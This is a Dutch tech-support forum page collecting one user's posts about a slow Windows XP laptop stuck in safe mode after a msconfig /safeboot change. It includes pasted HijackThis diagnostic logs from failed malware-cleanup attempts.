Ga naar inhoud

Juken

Lid
  • Items

    30
  • Registratiedatum

  • Laatst bezocht

Berichten die geplaatst zijn door Juken

  1. Ik heb één keer AdwCleaner kunnen uitvoeren en er is iets gecleaned. Maar noch Mbam,noch AdwC wil opstarten. Bij AdwC krijg ik volgende mededeling: ... AdwC ...encountered a problem etc... met deze reden:

    AppName: adwcleaner.exe AppVer: 2.2.0.2 ModName: user32.dll

    ModVer: 5.1.2600.3099 Offset: 00009de9

    Kan je daar iets mee doen?

    Sorry voor de late reactie maar ik heb niet altijd de mogelijkheid dit te testen. Op een zondag namiddag... weer heel wat uren... met dit mager resultaat...

    Zou het kunnen dat dit door de McAfee antivirus prog. wordt tegengehouden? Zo ja, hoe kan ik die even uitzetten?

  2. Die MBAM wil maar niet opstarten. Ik heb internetverbinding met utp! Het is el zo dat ik een tijdje kan surfen maar dat de Firefox regematig crasht... Dit doet hij ook in safe mode en internet explore crasht soms ook. Ik heb ook geprobeerd zonder ook maar één browser aan te hebben en Malwarebaters op te starten... De zandloper loopt enkele seconden en verder gebeurt er niks.

  3. Ja, dat laatste lukt wel. (Administrator en naam van de pc)Ik ben dan in safe mode en zie een gedeelte van de icoontjes waaronder malwarebytes. Maar meer heb ik nog niet gedaan ik heb nu wel wat angst om een verkeerde toets in te drukken ;-)

    Maar ik weet dus niet of ik verbonden ben met het internet.

  4. Hier zijn we dan weer terug.

    Als ik in safe mode wil opstarten met netwerk option dan krijg ik de keuze uit heelwat domain namen (van vroeger, de firma) die vindt hij natuurlijk niet. Dus ik kan niet op het netwerk. Ik heb ook geprobeerd die Malwarebytes op mijn andere pc op te starten en daar gaat het wel. Ja, ik zit dus weer vast....?

  5. Zoals beloofd. De XP werkt terug met de hulp van mijn oude service desk vrienden.

    Ik heb het juiste paswoord gekregen. Voor hen was dit ook de eerste keer dat ze dit meemaakten.

    Dit is een paswoord dat door een computer wordt gegenereerd tijdens de installatie van firma-pc.

    Maar dat beest blijft héél traag...

  6. Ja, ik heb al contact gehad en ze stellen zich ook dezelfde vraag. Normaal is dat hetzelfde paswoord want ik heb een "valid user ID. Nu, hebben ze me een tooltje opgestuurd en het zou moeten mogelijk zijn terug te herstarten. En als het me niet lukt dan mag ik altijd met die laptop langskomen ze helpen me nog wel. Dat is toch ook al iets hé? Maar ik moet er wel 70km voor rijden. Nog een tip die ik aan jouw wil geven: de reden dat ik met deze oude laptop+XP nog wil blijven werken is dat die nog een parallelle poort heeft. En die heb ik nodig bij sommige machines nieuw firmware te installeren. Men denkt daar dikwijls niet aan maar dat is voor sommige machines wel een probleem aan 't worden. Maar ik hou je op de hoogte, zeker weten!

  7. Ik werk daar niet meer maar heb nog contact en kom er nog wel. Ik ga maandag eens trachten een IT-er te vinden in de hoop dat er nog support is. Intussen is het bedrijf ook al flink afgeslankt zoals dat dikwijls gaat. Maar alleszins bedankt voor je inzet en misschien neem ik wel opnieuw contact op.

  8. Werkt ook niet. En het is wel degelijk Azerty, dat kan ik zien aan de loginnummer.

    XP start wel degelijk op, ik kan dat zien op sherm maar... botst dan op dat vinkje voor "safe mode"

    Druk ik F8... net hetzelfde.

    Nog dit: na dat ik het eerste beeld krijg in safe mode, moet ik ctrl+alt+del drukken: en dat krijg ik een boodschap: alleen gebruikers met het en valid ID mogen in loggen. Bij problemen contacteer service desk. Dus ik vermoed dat er die is ingezet door de IT mensen van de firma...4 jaar geleden. Ik heb deze laptop gekregen omdat ik toen daarmee werkte en nog wat support moest geven. Bestaat er zo geen programma zoals "password recovery" of zo? Vraag is; welk paswoord er dan "gereset" wordt?

  9. Misschien ben ik niet duidelijk genoeg geweest: ik kan dus ook niet in normale modus meer opstarten! Omdat in normale modus het vinkje op nog steeds op "safe mode" (na msconfig) staat en ik kan dat dus niet terug zetten... Ik ken mijn paswoord wel voor normale modus maar in safe mode ??? staat er ook een in en dat ik kan ik niet. En dàt is nu juist zo stom dat ik niet terug kan in de normale modus. Het enige wat ik nog wel kan is in de set-up gaan (F2) maar daar stopt het mee.

  10. Dat eerste had ik gedaan, dus F8 enz. Maar ik kreeg ook de vraag voor een paswoord. Vermits dit een ander is dan mijn huidige login dacht ik dit te omzeilen door via msconfig er in te gaan. Maar niks dus.

    Maar voel je aub. niet schuldig, "ik" heb het gedaan en ik heb een backup van al mijn gegevens. Ik vind het alleen jammer van al de geregistreerde programma's die ik niet op een andere schijf kreeg.

    Wat ik ook probeer, ik kom steeds in veilige modus maar hij vraagt altijd een paswoord dat ik dus nooit gekend heb. :-(

  11. Nu heb ik wel een serieuze fout gemaakt.

    Ik heb in safe mode op gestart als volgt:

    Klik op start /run

    •Type in de balk het woord 'msconfig' (zonder de ' tekens) en druk dan op 'enter'.

    •Klik in het scherm wat verschijnt op het tabblad 'boot.ini' en zet dan een vinkje bij de regel '/safeboot'.

    •Klik dan op 'ok'

    Dat werkt maar in safe mode vraagt hij een loginnummer en ook een paswoord!! Dat komt niet overeen met mijn opstart loginnummer en paswoord....

    Vermits dat vinkje nu nog steeds op '/safeboot' staat... start hij steeds op in safe mode

    Dus nu niks meer. Ik heb dus dit mailtje geschreven met een andere pc....

    Ik kan wel in het bootmenu gaan. Maar daar staan Admin passw. System passw. en Internal passw. als not set...

    Dus nu zit ik serieus vast. Wat nu?

  12. Eindelijk is het me gelukt. SP3 staat er nu in. Maar die Malwarebytes geeft nu een boodschap: is outdated by 7 days... als ik snel ben kan ik nog klikken op "updat now?" ... en dan floept het programma weg...? Geen reactie....Maar alles blijft even traag.

    Sorry dan ik zo snel niet kan reageren... moet nog werken..;-)

    Toch vind ik het super dat je me wil helpen. Juken

  13. Heb alles gedaan zoals gevraagd. Malwarebytes icoon staat nu op desktop. Dubbeklik en start op maar blijft maar 2 sec in beeld, en het floept weg. Opnieuw gestart en snel op quick scan geklikt, en alles floept weg. Programma dicht? Ook nergens een melding dat scannen bezig is. Wat doe ik fout? Na deze mail zal ik de pc uitzetten en opnieuw starten. En opnieuw proberen.

  14. Dank voor snelle reactie!

    Ik kan jammer genoeg niet zo snel reageren ... alles is traag... Hier is het logje.

    Logfile of Trend Micro HijackThis v2.0.4

    Scan saved at 16:37:28, on 10-4-2013

    Platform: Windows XP SP2 (WinNT 5.01.2600)

    MSIE: Internet Explorer v8.00 (8.00.6001.18702)

    Boot mode: Normal

    Running processes:

    C:\WINNT\System32\smss.exe

    C:\WINNT\system32\winlogon.exe

    C:\WINNT\system32\services.exe

    C:\WINNT\system32\lsass.exe

    C:\WINNT\system32\svchost.exe

    C:\WINNT\System32\WLTRYSVC.EXE

    C:\WINNT\System32\bcmwltry.exe

    C:\WINNT\system32\spoolsv.exe

    C:\Program Files\Common Files\EPSON\EBAPI\eEBSVC.exe

    C:\Program Files\AccessManager\Client\AMBroker.exe

    C:\WINNT\system32\cisvc.exe

    C:\Program Files\AGFA\Agfa VPN Client\cvpnd.exe

    C:\WINNT\SYSTEM32\DWRCS.EXE

    D:\Profiles\All Users\Application Data\Freemake\FreemakeUtilsService\FreemakeUtilsService.exe

    C:\Program Files\Java\jre6\bin\jqs.exe

    C:\Program Files\Google\Update\1.3.21.135\GoogleCrashHandler.exe

    C:\Program Files\McAfee\Common Framework\FrameworkService.exe

    C:\Program Files\McAfee\VirusScan\Mcshield.exe

    C:\Program Files\McAfee\VirusScan\VsTskMgr.exe

    C:\Program Files\Common Files\Microsoft Shared\VS7Debug\mdm.exe

    C:\Program Files\lotus\notes\ntmulti.exe

    C:\WINNT\System32\svchost.exe

    C:\Program Files\AccessManager\PMAC\sp_SWIns.exe

    C:\Program Files\SigmaTel\C-Major Audio\DellXPM_5515v131\WDM\StacSV.exe

    C:\WINNT\system32\svchost.exe

    C:\Program Files\Canon\CAL\CALMAIN.exe

    C:\WINNT\System32\svchost.exe

    C:\Program Files\NetInst\NiAiServ.exe

    C:\WINNT\Explorer.EXE

    C:\Program Files\McAfee\VirusScan\SHSTAT.EXE

    C:\Program Files\Common Files\Nokia\NCLTools\NclTray.exe

    C:\WINNT\Temp\_ex-08.exe

    C:\WINNT\SYSTEM32\DWRCST.exe

    C:\WINNT\system32\igfxpers.exe

    C:\WINNT\system32\igfxsrvc.exe

    C:\WINNT\system32\wuauclt.exe

    C:\PROGRA~1\COMMON~1\Nokia\Services\SERVIC~1.EXE

    C:\Program Files\McAfee\Common Framework\UpdaterUI.exe

    C:\Program Files\Common Files\InstallShield\UpdateService\issch.exe

    C:\WINNT\system32\hkcmd.exe

    C:\WINNT\System32\DLA\DLACTRLW.EXE

    C:\WINNT\system32\WLTRAY.exe

    C:\Program Files\Apoint\Apoint.exe

    C:\WINNT\system32\ctfmon.exe

    C:\Program Files\Common Files\Java\Java Update\jusched.exe

    C:\Program Files\SigmaTel\C-Major Audio\WDM\stsystra.exe

    C:\Program Files\Microsoft ActiveSync\WCESCOMM.EXE

    C:\Program Files\Apoint\Apntex.exe

    C:\Program Files\Apoint\HidFind.exe

    C:\Program Files\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe

    C:\Program Files\uTorrent\uTorrent.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosBtMng.exe

    C:\Program Files\McAfee Security Scan\2.0.181\SSScheduler.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosA2dp.exe

    c:\progra~1\common~1\instal~1\update~1\isuspm.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosBtHid.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosBtHsp.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosAVRC.exe

    C:\Program Files\Common Files\InstallShield\UpdateService\agent.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\tosOBEX.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\tosBtProc.exe

    C:\WINNT\System32\svchost.exe

    D:\Profiles\amjkn\Local Settings\Application Data\Akamai\netsession_win.exe

    D:\Profiles\amjkn\Local Settings\Application Data\Akamai\netsession_win.exe

    c:\program files\real\realplayer\update\realsched.exe

    C:\WINNT\system32\cidaemon.exe

    C:\WINNT\system32\cidaemon.exe

    C:\Program Files\Common Files\Java\Java Update\jucheck.exe

    C:\Program Files\Mozilla Firefox\firefox.exe

    C:\Program Files\Mozilla Firefox\plugin-container.exe

    D:\Downloads\HijackThis.exe

    R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = Zoeken

    R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = MSN NL: Hotmail, Outlook, Skype, Messenger, het laatste nieuws, entertainment en meer!

    R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = Bing

    R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = Bing

    R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = MSN NL: Hotmail, Outlook, Skype, Messenger, het laatste nieuws, entertainment en meer!

    R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Window Title = Internet Explorer, optimized for Bing and MSN

    R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,ProxyServer = proxy.ict:8080

    R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,ProxyOverride = ;*.Smartpipes.Net;*.esm.uu.Net;*.Xapps.ops.us.uu.net;*.Worldcom.Net;*.mci.Net;pbk.mci.com;esmws1.mci.Com;192.168.*.*;10.*.*.*;*.mitra.com;<local>

    R3 - URLSearchHook: (no name) - {bf7380fa-e3b4-4db2-af3e-9d8783a45bfc} - (no file)

    R3 - URLSearchHook: (no name) - {46735dee-f862-49d1-876d-6382794dc625} - (no file)

    R3 - URLSearchHook: uTorrentBar_NL Toolbar - {87775fdb-6972-41f9-ae51-8326e38cb206} - C:\Program Files\uTorrentBar_NL\prxtbuTor.dll

    O2 - BHO: (no name) - {02478D38-C3F9-4efb-9B51-7695ECA05670} - (no file)

    O2 - BHO: AcroIEHlprObj Class - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Adobe\Acrobat 7.0\ActiveX\AcroIEHelper.dll

    O2 - BHO: AskBar BHO - {201f27d4-3704-41d6-89c1-aa35e39143ed} - C:\Program Files\AskBarDis\bar\bin\askBar.dll

    O2 - BHO: RealPlayer Download and Record Plugin for Internet Explorer - {3049C3E9-B461-4BC5-8870-4C09146192CA} - D:\Profiles\All Users\Application Data\Real\RealPlayer\BrowserRecordPlugin\IE\rpbrowserrecordplugin.dll

    O2 - BHO: (no name) - {46735dee-f862-49d1-876d-6382794dc625} - (no file)

    O2 - BHO: DriveLetterAccess - {5CA3D70E-1895-11CF-8E15-001234567890} - C:\WINNT\System32\DLA\DLASHX_W.DLL

    O2 - BHO: EmailBHO - {647FD14A-C4F1-46F4-8FC3-0B40F54226F7} - C:\Program Files\jZip\WebmailPlugin.dll

    O2 - BHO: Java Plug-In SSV Helper - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Program Files\Java\jre6\bin\ssv.dll

    O2 - BHO: uTorrentBar_NL - {87775fdb-6972-41f9-ae51-8326e38cb206} - C:\Program Files\uTorrentBar_NL\prxtbuTor.dll

    O2 - BHO: Google Toolbar Helper - {AA58ED58-01DD-4d91-8333-CF10577473F7} - C:\Program Files\Google\Google Toolbar\GoogleToolbar_32.dll

    O2 - BHO: AcroIEToolbarHelper Class - {AE7CD045-E861-484f-8273-0445EE161910} - C:\Program Files\Adobe\Acrobat 7.0\Acrobat\AcroIEFavClient.dll

    O2 - BHO: SkypeIEPluginBHO - {AE805869-2E5C-4ED4-8F7B-F1F7851A4497} - C:\Program Files\Skype\Toolbars\Internet Explorer\skypeieplugin.dll

    O2 - BHO: Google Toolbar Notifier BHO - {AF69DE43-7D58-4638-B6FA-CE66B5AD205D} - C:\Program Files\Google\GoogleToolbarNotifier\5.7.8313.1002\swg.dll

    O2 - BHO: (no name) - {bf7380fa-e3b4-4db2-af3e-9d8783a45bfc} - (no file)

    O2 - BHO: Java Plug-In 2 SSV Helper - {DBC80044-A445-435b-BC74-9C25C1C588A9} - C:\Program Files\Java\jre6\bin\jp2ssv.dll

    O2 - BHO: JQSIEStartDetectorImpl - {E7E6F031-17CE-4C07-BC86-EABFE594F69C} - C:\Program Files\Java\jre6\lib\deploy\jqs\ie\jqs_plugin.dll

    O3 - Toolbar: Adobe PDF - {47833539-D0C5-4125-9FA8-0819E2EAAC93} - C:\Program Files\Adobe\Acrobat 7.0\Acrobat\AcroIEFavClient.dll

    O3 - Toolbar: Ask Toolbar - {3041d03e-fd4b-44e0-b742-2d9b88305f98} - C:\Program Files\AskBarDis\bar\bin\askBar.dll

    O3 - Toolbar: (no name) - {bf7380fa-e3b4-4db2-af3e-9d8783a45bfc} - (no file)

    O3 - Toolbar: (no name) - {46735dee-f862-49d1-876d-6382794dc625} - (no file)

    O3 - Toolbar: uTorrentBar_NL Toolbar - {87775fdb-6972-41f9-ae51-8326e38cb206} - C:\Program Files\uTorrentBar_NL\prxtbuTor.dll

    O3 - Toolbar: Google Toolbar - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - C:\Program Files\Google\Google Toolbar\GoogleToolbar_32.dll

    O4 - HKLM\..\Run: [shStatEXE] "C:\Program Files\McAfee\VirusScan\SHSTAT.EXE" /STANDALONE

    O4 - HKLM\..\Run: [Nokia Tray Application] C:\Program Files\Common Files\Nokia\NCLTools\NclTray.exe

    O4 - HKLM\..\Run: [sniffer] C:\WINNT\Temp\_ex-08.exe

    O4 - HKLM\..\Run: [Persistence] C:\WINNT\system32\igfxpers.exe

    O4 - HKLM\..\Run: [McAfeeUpdaterUI] "C:\Program Files\McAfee\Common Framework\UpdaterUI.exe" /StartedFromRunKey

    O4 - HKLM\..\Run: [iTSecMng] %ProgramFiles%\TOSHIBA\Bluetooth Toshiba Stack\ItSecMng.exe /START

    O4 - HKLM\..\Run: [iSUSScheduler] "C:\Program Files\Common Files\InstallShield\UpdateService\issch.exe" -start

    O4 - HKLM\..\Run: [iSUSPM Startup] C:\PROGRA~1\COMMON~1\INSTAL~1\UPDATE~1\ISUSPM.exe -startup

    O4 - HKLM\..\Run: [igfxTray] C:\WINNT\system32\igfxtray.exe

    O4 - HKLM\..\Run: [HotKeysCmds] C:\WINNT\system32\hkcmd.exe

    O4 - HKLM\..\Run: [DLA] C:\WINNT\System32\DLA\DLACTRLW.EXE

    O4 - HKLM\..\Run: [CloneCDElbyCDFL] "C:\Program Files\Elaborate Bytes\CloneCD\ElbyCheck.exe" /L ElbyCDFL

    O4 - HKLM\..\Run: [broadcom Wireless Manager UI] C:\WINNT\system32\WLTRAY.exe

    O4 - HKLM\..\Run: [Apoint] C:\Program Files\Apoint\Apoint.exe

    O4 - HKLM\..\Run: [sunJavaUpdateSched] "C:\Program Files\Common Files\Java\Java Update\jusched.exe"

    O4 - HKLM\..\Run: [sigmatelSysTrayApp] %ProgramFiles%\SigmaTel\C-Major Audio\WDM\stsystra.exe

    O4 - HKLM\..\Run: [TkBellExe] "c:\program files\real\realplayer\update\realsched.exe" -osboot

    O4 - HKCU\..\Run: [ctfmon.exe] C:\WINNT\system32\ctfmon.exe

    O4 - HKCU\..\Run: [H/PC Connection Agent] "C:\Program Files\Microsoft ActiveSync\WCESCOMM.EXE"

    O4 - HKCU\..\Run: [YouSendIt.exe] C:\Program Files\YouSendIt\Express\YouSendIt.exe -ui none

    O4 - HKCU\..\Run: [swg] "C:\Program Files\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe"

    O4 - HKCU\..\Run: [DriverFinder] C:\Program Files\DriverFinder\DriverFinder.exe

    O4 - HKCU\..\Run: [Akamai NetSession Interface] "D:\Profiles\amjkn\Local Settings\Application Data\Akamai\netsession_win.exe"

    O4 - HKCU\..\Run: [uTorrent] "C:\Program Files\uTorrent\uTorrent.exe" /MINIMIZED

    O4 - HKUS\S-1-5-18\..\Run: [CTFMON.EXE] C:\WINNT\system32\CTFMON.EXE (User 'SYSTEM')

    O4 - HKUS\.DEFAULT\..\Run: [CTFMON.EXE] C:\WINNT\system32\CTFMON.EXE (User 'Default user')

    O4 - Global Startup: Bluetooth Manager.lnk = ?

    O4 - Global Startup: McAfee Security Scan Plus.lnk = ?

    O6 - HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions present

    O6 - HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel present

    O8 - Extra context menu item: Add to Google Photos Screensa&ver - res://C:\WINNT\system32\GPhotos.scr/200

    O8 - Extra context menu item: E&xport to Microsoft Excel - res://C:\PROGRA~1\MICROS~2\Office10\EXCEL.EXE/3000

    O9 - Extra button: Toevoegen aan Mobiele favorieten - {2EAF5BB1-070F-11D3-9307-00C04FAE2D4F} - C:\Program Files\Microsoft ActiveSync\inetrepl.dll

    O9 - Extra button: (no name) - {2EAF5BB2-070F-11D3-9307-00C04FAE2D4F} - C:\Program Files\Microsoft ActiveSync\inetrepl.dll

    O9 - Extra 'Tools' menuitem: Toevoegen aan Mobiele favorieten... - {2EAF5BB2-070F-11D3-9307-00C04FAE2D4F} - C:\Program Files\Microsoft ActiveSync\inetrepl.dll

    O9 - Extra button: Skype Click to Call - {898EA8C8-E7FF-479B-8935-AEC46303B9E5} - C:\Program Files\Skype\Toolbars\Internet Explorer\skypeieplugin.dll

    O9 - Extra 'Tools' menuitem: Skype Click to Call - {898EA8C8-E7FF-479B-8935-AEC46303B9E5} - C:\Program Files\Skype\Toolbars\Internet Explorer\skypeieplugin.dll

    O9 - Extra button: Research - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C:\PROGRA~1\MICROS~2\OFFICE11\REFIEBAR.DLL

    O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe

    O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe

    O14 - IERESET.INF: START_PAGE_URL=http://intra.agfanet

    O15 - Trusted Zone: *.dell.com

    O15 - Trusted Zone: http://*.mcafee.com

    O16 - DPF: {17492023-C23A-453E-A040-C7C580BBF700} (Windows Genuine Advantage Validation Tool) - http://go.microsoft.com/fwlink/?linkid=39204

    O17 - HKLM\System\CCS\Services\Tcpip\Parameters: Domain = be.local

    O17 - HKLM\Software\..\Telephony: DomainName = be.local

    O17 - HKLM\System\CCS\Services\Tcpip\..\{450E1BEA-9FC0-4D77-A3B4-C0CB19E8F536}: NameServer = 8.8.8.8,8.8.4.4

    O17 - HKLM\System\CS1\Services\Tcpip\Parameters: Domain = be.local

    O17 - HKLM\System\CS1\Services\Tcpip\Parameters: SearchList = be.local,local,agfa.be,eps.agfa.be,med.agfa.be,bayer-ag.com

    O17 - HKLM\System\CS2\Services\Tcpip\Parameters: Domain = be.local

    O17 - HKLM\System\CS2\Services\Tcpip\Parameters: SearchList = be.local,local,agfa.be,eps.agfa.be,med.agfa.be,bayer-ag.com

    O17 - HKLM\System\CS2\Services\Tcpip\..\{450E1BEA-9FC0-4D77-A3B4-C0CB19E8F536}: NameServer = 8.8.8.8,8.8.4.4

    O17 - HKLM\System\CS3\Services\Tcpip\Parameters: Domain = be.local

    O17 - HKLM\System\CS3\Services\Tcpip\Parameters: SearchList = be.local,local,agfa.be,eps.agfa.be,med.agfa.be,bayer-ag.com

    O17 - HKLM\System\CS3\Services\Tcpip\..\{450E1BEA-9FC0-4D77-A3B4-C0CB19E8F536}: NameServer = 8.8.8.8,8.8.4.4

    O17 - HKLM\System\CCS\Services\Tcpip\Parameters: SearchList = be.local,local,agfa.be,eps.agfa.be,med.agfa.be,bayer-ag.com

    O18 - Protocol: skype-ie-addon-data - {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files\Skype\Toolbars\Internet Explorer\skypeieplugin.dll

    O18 - Protocol: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\PROGRA~1\COMMON~1\Skype\SKYPE4~1.DLL

    O22 - SharedTaskScheduler: Browseui preloader - {438755C2-A8BA-11D1-B96B-00A0C90312E1} - C:\WINNT\system32\browseui.dll

    O22 - SharedTaskScheduler: Component Categories cache daemon - {8C7461EF-2B13-11d2-BE35-3078302C2030} - C:\WINNT\system32\browseui.dll

    O23 - Service: Access Manager Configuration Service (AMBroker) - MCI, Inc. - C:\Program Files\AccessManager\Client\AMBroker.exe

    O23 - Service: Canon Camera Access Library 8 (CCALib8) - Canon Inc. - C:\Program Files\Canon\CAL\CALMAIN.exe

    O23 - Service: Cisco Systems, Inc. VPN Service (CVPND) - Cisco Systems, Inc. - C:\Program Files\AGFA\Agfa VPN Client\cvpnd.exe

    O23 - Service: Visual Insight DA Plugin (DAPlugin) - MCI, Inc. - C:\Program Files\AccessManager\Client\DAPlugin.exe

    O23 - Service: DameWare Mini Remote Control (DWMRCS) - DameWare Development LLC - C:\WINNT\SYSTEM32\DWRCS.EXE

    O23 - Service: EpsonBidirectionalService - SEIKO EPSON CORPORATION - C:\Program Files\Common Files\EPSON\EBAPI\eEBSVC.exe

    O23 - Service: Freemake Improver - Freemake - D:\Profiles\All Users\Application Data\Freemake\FreemakeUtilsService\FreemakeUtilsService.exe

    O23 - Service: Google Update Service (gupdate) (gupdate) - Google Inc. - C:\Program Files\Google\Update\GoogleUpdate.exe

    O23 - Service: Google Update Service (gupdatem) (gupdatem) - Google Inc. - C:\Program Files\Google\Update\GoogleUpdate.exe

    O23 - Service: Google Software Updater (gusvc) - Google - C:\Program Files\Google\Common\Google Updater\GoogleUpdaterService.exe

    O23 - Service: Java Quick Starter (JavaQuickStarterService) - Sun Microsystems, Inc. - C:\Program Files\Java\jre6\bin\jqs.exe

    O23 - Service: McAfee Framework Service (McAfeeFramework) - McAfee, Inc. - C:\Program Files\McAfee\Common Framework\FrameworkService.exe

    O23 - Service: McAfee Security Scan Component Host Service (McComponentHostService) - McAfee, Inc. - C:\Program Files\McAfee Security Scan\2.0.181\McCHSvc.exe

    O23 - Service: Network Associates McShield (McShield) - Network Associates, Inc. - C:\Program Files\McAfee\VirusScan\Mcshield.exe

    O23 - Service: Network Associates Task Manager (McTaskManager) - Network Associates, Inc. - C:\Program Files\McAfee\VirusScan\VsTskMgr.exe

    O23 - Service: Mozilla Maintenance Service (MozillaMaintenance) - Mozilla Foundation - C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe

    O23 - Service: Multi-user Cleanup Service - IBM Corp - C:\Program Files\lotus\notes\ntmulti.exe

    O23 - Service: NetInstall Service (NIAIServ) - enteo Software GmbH - C:\Program Files\NetInst\NiAiServ.exe

    O23 - Service: NICCONFIGSVC - Dell Inc. - C:\Program Files\Dell\QuickSet\NICCONFIGSVC.exe

    O23 - Service: NetInstall Executive (NiExServ) - enteo Software GmbH - C:\Program Files\NetInst\NiExServ.exe

    O23 - Service: ServiceLayer - Nokia. - C:\Program Files\PC Connectivity Solution\ServiceLayer.exe

    O23 - Service: Skype Updater (SkypeUpdate) - Skype Technologies - C:\Program Files\Skype\Updater\Updater.exe

    O23 - Service: SP Software Installer - Smartpipes, Inc. - C:\Program Files\AccessManager\PMAC\sp_SWIns.exe

    O23 - Service: Visual Insight Dial Analysis (sp_spi_da) - Smartpipes, Inc. - C:\Program Files\AccessManager\SMOC\spi_da.exe

    O23 - Service: SigmaTel Audio Service (STacSV) - SigmaTel, Inc. - C:\Program Files\SigmaTel\C-Major Audio\DellXPM_5515v131\WDM\StacSV.exe

    O23 - Service: Dell Wireless WLAN Tray Service (wltrysvc) - Unknown owner - C:\WINNT\System32\WLTRYSVC.EXE

    O24 - Desktop Component 0: (no name) - file:///D:/Profiles/amjkn/LOCALS~1/Temp/msohtml1/01/clip_image002.jpg

    --

    End of file - 16582 bytes

  15. Alles verloopt zeer traag. Opstarten... in loggen... het schrijven van deze tekst... duurt.

    Nochtans geen melding van virussen.

    Is al oud maar omdat er heel wat oude originele programma's opstaan doe ik niet graag een volledige format.

    Enig idee?

    Alvast bedankt

    Juken

  16. Na snel een paar sites gecontroleerd te hebben lijkt alles terug normaal...?

    IK kan het nog niet geloven - alvast bedankt maar hier is het logje

    ogfile of Trend Micro HijackThis v2.0.4

    Scan saved at 20:45:38, on 3/04/2013

    Platform: Windows XP SP3 (WinNT 5.01.2600)

    MSIE: Internet Explorer v6.00 SP3 (6.00.2900.5512)

    Boot mode: Normal

    Running processes:

    C:\WINDOWS\System32\smss.exe

    C:\WINDOWS\system32\winlogon.exe

    C:\WINDOWS\system32\services.exe

    C:\WINDOWS\system32\lsass.exe

    C:\WINDOWS\system32\svchost.exe

    C:\WINDOWS\System32\svchost.exe

    C:\WINDOWS\System32\WLTRYSVC.EXE

    C:\WINDOWS\System32\bcmwltry.exe

    C:\Program Files\AVAST Software\Avast\AvastSvc.exe

    C:\WINDOWS\system32\spoolsv.exe

    C:\WINDOWS\Explorer.EXE

    C:\Program Files\Broadcom\ASFIPMon\AsfIpMon.exe

    C:\Program Files\Common Files\Microsoft Shared\VS7DEBUG\mdm.exe

    C:\Program Files\SigmaTel\C-Major Audio\DellXPM_5515v131\WDM\StacSV.exe

    C:\WINDOWS\system32\svchost.exe

    C:\Program Files\Canon\CAL\CALMAIN.exe

    C:\Program Files\AVAST Software\Avast\avastUI.exe

    C:\WINDOWS\system32\hkcmd.exe

    C:\WINDOWS\system32\igfxsrvc.exe

    C:\WINDOWS\system32\igfxpers.exe

    C:\Program Files\DellTPad\Apoint.exe

    C:\Program Files\TOSHIBA\Bluetooth Toshiba Stack\ItSecMng.exe

    C:\WINDOWS\system32\WLTRAY.exe

    C:\Program Files\SigmaTel\C-Major Audio\WDM\stsystra.exe

    C:\Program Files\Nokia\Nokia PC Suite 7\PCSuite.exe

    C:\WINDOWS\system32\ctfmon.exe

    C:\Program Files\DellTPad\ApMsgFwd.exe

    C:\Documents and Settings\Administrator\Local Settings\Application Data\Akamai\netsession_win.exe

    C:\Program Files\Skype\Phone\Skype.exe

    C:\Program Files\DellTPad\Apntex.exe

    C:\Program Files\DellTPad\HidFind.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosBtMng.exe

    C:\Documents and Settings\Administrator\Local Settings\Application Data\Akamai\netsession_win.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosA2dp.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosBtHid.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosBtHsp.exe

    C:\Program Files\PC Connectivity Solution\ServiceLayer.exe

    C:\Program Files\PC Connectivity Solution\Transports\NclToBTSrv.exe

    C:\Program Files\Mozilla Firefox\firefox.exe

    C:\Program Files\Mozilla Firefox\plugin-container.exe

    C:\Documents and Settings\Administrator\My Documents\Downloads\HijackThis(2).exe

    R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar = Bing

    R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = Bing

    R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = Google

    O2 - BHO: Groove GFS Browser Helper - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - C:\PROGRA~1\MICROS~2\Office14\GROOVEEX.DLL

    O2 - BHO: URLRedirectionBHO - {B4F3A835-0E21-4959-BA22-42B3008E02FF} - C:\PROGRA~1\MICROS~2\Office14\URLREDIR.DLL

    O4 - HKLM\..\Run: [avast] "C:\Program Files\AVAST Software\Avast\avastUI.exe" /nogui

    O4 - HKLM\..\Run: [igfxTray] C:\WINDOWS\system32\igfxtray.exe

    O4 - HKLM\..\Run: [HotKeysCmds] C:\WINDOWS\system32\hkcmd.exe

    O4 - HKLM\..\Run: [Persistence] C:\WINDOWS\system32\igfxpers.exe

    O4 - HKLM\..\Run: [Apoint] C:\Program Files\DellTPad\Apoint.exe

